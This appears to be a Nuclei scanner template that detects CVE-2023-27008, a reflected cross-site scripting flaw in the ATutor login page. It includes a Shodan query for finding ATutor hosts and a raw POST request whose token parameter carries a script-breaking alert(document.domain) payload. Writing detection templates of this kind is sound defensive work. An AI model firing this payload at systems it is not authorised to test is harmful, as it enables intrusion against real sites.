id: CVE-2023-27008

info:
  name: ATutor < 2.2.1 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    ATutor < 2.2.1 was discovered with a vulnerability, a reflected cross-site scripting (XSS), in ATtutor 2.2.1 via token body parameter.
  remediation: |
    Upgrade ATutor to version 2.2.2 or above to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27008
    - https://plantplants213607121.wordpress.com/2023/02/16/atutor-2-2-1-cross-site-scripting-via-the-token-body-parameter/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-27008
    cwe-id: CWE-79
    epss-score: 0.00081
    epss-percentile: 0.33809
    cpe: cpe:2.3:a:atutor:atutor:2.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: atutor
    product: atutor
    shodan-query: http.html:"Atutor"
  tags: cve,cve2023,xss,atutor

http:
  - raw:
      - |
        POST /atutor/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        token=asdf");}alert(document.domain);+function+asdf()+{//

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - ");}alert(document.domain); function"
          - "ATutor"
          - "Login"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

# digest: 4a0a00473045022100a9e7aabc8a9532e27421e3bbd92680333047b9cc8d1bb1a3cd77d31633b8db8102204458c23161476a8d23a7c673fdf10f2fe37aed1d5cad9862e1d131e900ce315a:922c64590222798bb761d5b6d8e72950